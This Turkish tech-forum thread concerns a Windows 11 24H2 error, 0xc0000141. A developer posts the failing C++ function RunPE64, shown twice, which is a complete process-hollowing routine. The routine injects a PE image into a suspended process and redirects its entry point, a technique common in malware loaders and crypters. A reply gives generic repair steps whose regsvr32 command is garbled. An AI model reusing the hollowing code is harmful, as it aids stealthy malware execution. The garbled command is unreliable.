Windows 11 24H2 0xc0000141 Hatası

354216

Hectopat
Katılım
16 Temmuz 2020
Mesajlar
1.524
Makaleler
14
Çözümler
9
1728135562884.png


Merhaba, son sürüm olan 24H2 ile birlikte bir dizi çekirdek güncellemesi yapılmış. Ancak, bu güncellemeler sonucunda geliştirdiğim programda 0xc0000141 hatası meydana gelmiştir. Başlangıçta sorunun programımın kaynaklı olduğunu düşünsem de, yaptığım araştırmalar neticesinde benzer sorunları yaşayan diğer kullanıcılarla karşılaştım. Bu kullanıcılar, uygulama fark etmeksizin 24H2 güncellemesi ile birlikte aynı problemi yaşadıklarını bildirmektedir.

Sorunu çözebilen olmamış, size programın raporlarını bırakıyorum.
Rapor: Logfile.PML

Benzer konular:
Bu içeriği görüntülemek için üçüncü taraf çerezlerini yerleştirmek için izninize ihtiyacımız olacak.
Daha detaylı bilgi için, çerezler sayfamıza bakınız.


Hatanın verdiği kod:
C++:
 static bool RunPE64(PROCESS_INFORMATION* lpPI, STARTUPINFO* lpSI, void* lpImage, std::string args) {
     CHAR wszFilePath[MAX_PATH];
     if (GetModuleFileName(NULL, wszFilePath, MAX_PATH) == 0) {
         return false;
     }

     std::string wszArgsBuffer = std::string(wszFilePath) + XorString(" ") + args;
     PIMAGE_DOS_HEADER lpDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(lpImage);
     PIMAGE_NT_HEADERS64 lpNTHeader = reinterpret_cast<PIMAGE_NT_HEADERS64>(reinterpret_cast<BYTE*>(lpImage) + lpDOSHeader->e_lfanew);

     if (lpNTHeader->Signature != IMAGE_NT_SIGNATURE) {
         return false;
     }

     if (!CreateProcess(NULL, &wszArgsBuffer[0], NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, reinterpret_cast<LPSTARTUPINFO>(lpSI), lpPI)) {
         return false;
     }

     CONTEXT stCtx = {};
     stCtx.ContextFlags = CONTEXT_FULL;
     if (!GetThreadContext(lpPI->hThread, &stCtx)) {
         TerminateProcess(lpPI->hProcess, -4);
         return false;
     }

     LPVOID lpImageBase = VirtualAllocEx(lpPI->hProcess, reinterpret_cast<LPVOID>(lpNTHeader->OptionalHeader.ImageBase), lpNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     if (lpImageBase == NULL) {
         TerminateProcess(lpPI->hProcess, -5);
         return false;
     }

     if (!WriteProcessMemory(lpPI->hProcess, lpImageBase, lpImage, lpNTHeader->OptionalHeader.SizeOfHeaders, NULL)) {
         TerminateProcess(lpPI->hProcess, -6);
         return false;
     }

     for (WORD iSection = 0; iSection < lpNTHeader->FileHeader.NumberOfSections; ++iSection) {
         PIMAGE_SECTION_HEADER stSectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<BYTE*>(lpImage) + lpDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * iSection);
         if (!WriteProcessMemory(lpPI->hProcess, reinterpret_cast<LPVOID>(reinterpret_cast<BYTE*>(lpImageBase) + stSectionHeader->VirtualAddress),
             reinterpret_cast<LPVOID>(reinterpret_cast<BYTE*>(lpImage) + stSectionHeader->PointerToRawData),
             stSectionHeader->SizeOfRawData, NULL)) {
             TerminateProcess(lpPI->hProcess, -7);
             return false;
         }
     }

     if (!WriteProcessMemory(lpPI->hProcess, reinterpret_cast<LPVOID>(stCtx.Rdx + sizeof(LPVOID) * 2), &lpImageBase, sizeof(LPVOID), NULL)) {
         TerminateProcess(lpPI->hProcess, -8);
         return false;
     }

     stCtx.Rcx = reinterpret_cast<DWORD64>(lpImageBase) + lpNTHeader->OptionalHeader.AddressOfEntryPoint;
     if (!SetThreadContext(lpPI->hThread, &stCtx)) {
         TerminateProcess(lpPI->hProcess, -9);
         return false;
     }

     if (ResumeThread(lpPI->hThread) == static_cast<DWORD>(-1)) {
         TerminateProcess(lpPI->hProcess, -10);
         return false;
     }
     return true;
 }
 
24H2 sürümünü Insider iken birkaç kez kurmuştum. Birkaç gün önce final sürümünü kurdum. O zamanlar olan hata hala devam ediyor. Örneğin; bir uygulamayı çalıştırdığımda dakikalarca bekliyor. Bazen açıyor bazen Görev Yöneticisi'nden kapatmam gerekiyor. MSI Afterburner'ı 15 dakikada kurdum mesela. :)
23H2 sürümüne döndüm ve sorun yok.
 
1- Ara... butonunda Komut İstemi yazın, sağ tıklayın ve yönetici olarak çalıştır'a tıklayın.
2- sfc /scannow komutunu yazın.
3- taranana kadar bekleyin, eğer çalışmadıysa 4. adıma atlayın.
4- Denetim Masası adlı uygulamayı açın.
5-üst sağdaki butonu göreceksinizdir, o buton "kategori" veya "küçük simgeler" olacaktır. Bunu "büyük simgeler" yapın.
6- Bölge adlı seçeneği göreceksinizdir, tıklayın.
7- programın üstündeki biçimler butonunun yanındaki yönetimsel butonuna basın.
8-Sonra, alttaki Sistem Yerel Ayarlarını Değiştir... butonuna tıklayın.
9- Bölgenizi seçin, doğruysa sonraki adıma geçelim.
10-Uygula'ya tıklayın ve Tamam'a tıklayın.
Eğer hala olmadıysa, 11. adımda programın uyumluluğunu kontrol edelim.
11-Programa sağ tıklayın.
12-Özellikler'i seçin.
13-Uyumluluğa tıklayın.
14-Uyumluluk Modu'nda Bu programın çalıştırılacağı uyumluluk modu seçeneğini tikleyin.
15- Windows 7 veya 8'i seçin. Daha alt düzeyde ise Vista'nın orjinal, Service Pack 1 veya Service Pack 2 seçeneğine tıklayın, veya bunları tek tek seçerek uygulamayı kontrol edebilirsiniz.
16-Alttaki bu programı yönetici olarak çalıştır seçeneğine tıklayın.
17-Uygula butonuna, ardından Tamam'a tıklayın ve kontrol edin.
Bu 3 yöntem olmadıysa, diğerine geçelim.
18-Bu 3 yöntem olmadıysa, bu hata şu anlama gelebilir; Bozuk .dll dosyası bu soruna neden olabilir, böylece dll dosyası hatalarını düzeltebiliriz.
19- Tekrar CMD'ye gidin.
20-üzerine sağ tıklayın ve yönetici olarak çalıştırın.
21-for %i in (%windir%\system32*.dll) do regvr32.exe / s%i sonrasında for %i in (%windir%\system32*.ocx) do regsvr32.exe / s%i yazın.
22- "exit" komutunu yazın ve komut isteminden çıkın.
23- Artık sorununuz çözülmüş olmalıdır, rica ederim. 😊
daha ayrıntılı ve resimli olarak görmek için bağlantıya tıklayın:Bağlantı buradadır

Eki Görüntüle 2323166

Merhaba, son sürüm olan 24H2 ile birlikte bir dizi çekirdek güncellemesi yapılmış. Ancak, bu güncellemeler sonucunda geliştirdiğim programda 0xc0000141 hatası meydana gelmiştir. Başlangıçta sorunun programımın kaynaklı olduğunu düşünsem de, yaptığım araştırmalar neticesinde benzer sorunları yaşayan diğer kullanıcılarla karşılaştım. Bu kullanıcılar, uygulama fark etmeksizin 24H2 güncellemesi ile birlikte aynı problemi yaşadıklarını bildirmektedir.

Sorunu çözebilen olmamış, size programın raporlarını bırakıyorum.
Rapor: Logfile.PML

Benzer konular:
Bu içeriği görüntülemek için üçüncü taraf çerezlerini yerleştirmek için izninize ihtiyacımız olacak.
Daha detaylı bilgi için, çerezler sayfamıza bakınız.


Hatanın verdiği kod:
C++:
 static bool RunPE64(PROCESS_INFORMATION* lpPI, STARTUPINFO* lpSI, void* lpImage, std::string args) {
     CHAR wszFilePath[MAX_PATH];
     if (GetModuleFileName(NULL, wszFilePath, MAX_PATH) == 0) {
         return false;
     }

     std::string wszArgsBuffer = std::string(wszFilePath) + XorString(" ") + args;
     PIMAGE_DOS_HEADER lpDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(lpImage);
     PIMAGE_NT_HEADERS64 lpNTHeader = reinterpret_cast<PIMAGE_NT_HEADERS64>(reinterpret_cast<BYTE*>(lpImage) + lpDOSHeader->e_lfanew);

     if (lpNTHeader->Signature != IMAGE_NT_SIGNATURE) {
         return false;
     }

     if (!CreateProcess(NULL, &wszArgsBuffer[0], NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, reinterpret_cast<LPSTARTUPINFO>(lpSI), lpPI)) {
         return false;
     }

     CONTEXT stCtx = {};
     stCtx.ContextFlags = CONTEXT_FULL;
     if (!GetThreadContext(lpPI->hThread, &stCtx)) {
         TerminateProcess(lpPI->hProcess, -4);
         return false;
     }

     LPVOID lpImageBase = VirtualAllocEx(lpPI->hProcess, reinterpret_cast<LPVOID>(lpNTHeader->OptionalHeader.ImageBase), lpNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     if (lpImageBase == NULL) {
         TerminateProcess(lpPI->hProcess, -5);
         return false;
     }

     if (!WriteProcessMemory(lpPI->hProcess, lpImageBase, lpImage, lpNTHeader->OptionalHeader.SizeOfHeaders, NULL)) {
         TerminateProcess(lpPI->hProcess, -6);
         return false;
     }

     for (WORD iSection = 0; iSection < lpNTHeader->FileHeader.NumberOfSections; ++iSection) {
         PIMAGE_SECTION_HEADER stSectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<BYTE*>(lpImage) + lpDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * iSection);
         if (!WriteProcessMemory(lpPI->hProcess, reinterpret_cast<LPVOID>(reinterpret_cast<BYTE*>(lpImageBase) + stSectionHeader->VirtualAddress),
             reinterpret_cast<LPVOID>(reinterpret_cast<BYTE*>(lpImage) + stSectionHeader->PointerToRawData),
             stSectionHeader->SizeOfRawData, NULL)) {
             TerminateProcess(lpPI->hProcess, -7);
             return false;
         }
     }

     if (!WriteProcessMemory(lpPI->hProcess, reinterpret_cast<LPVOID>(stCtx.Rdx + sizeof(LPVOID) * 2), &lpImageBase, sizeof(LPVOID), NULL)) {
         TerminateProcess(lpPI->hProcess, -8);
         return false;
     }

     stCtx.Rcx = reinterpret_cast<DWORD64>(lpImageBase) + lpNTHeader->OptionalHeader.AddressOfEntryPoint;
     if (!SetThreadContext(lpPI->hThread, &stCtx)) {
         TerminateProcess(lpPI->hProcess, -9);
         return false;
     }

     if (ResumeThread(lpPI->hThread) == static_cast<DWORD>(-1)) {
         TerminateProcess(lpPI->hProcess, -10);
         return false;
     }
     return true;
 }

Yazdığım çözüme bakın, sorununuz çözülmüş olmalıdır. :)
 

Technopat Haberler

Yeni konular

Geri
Yukarı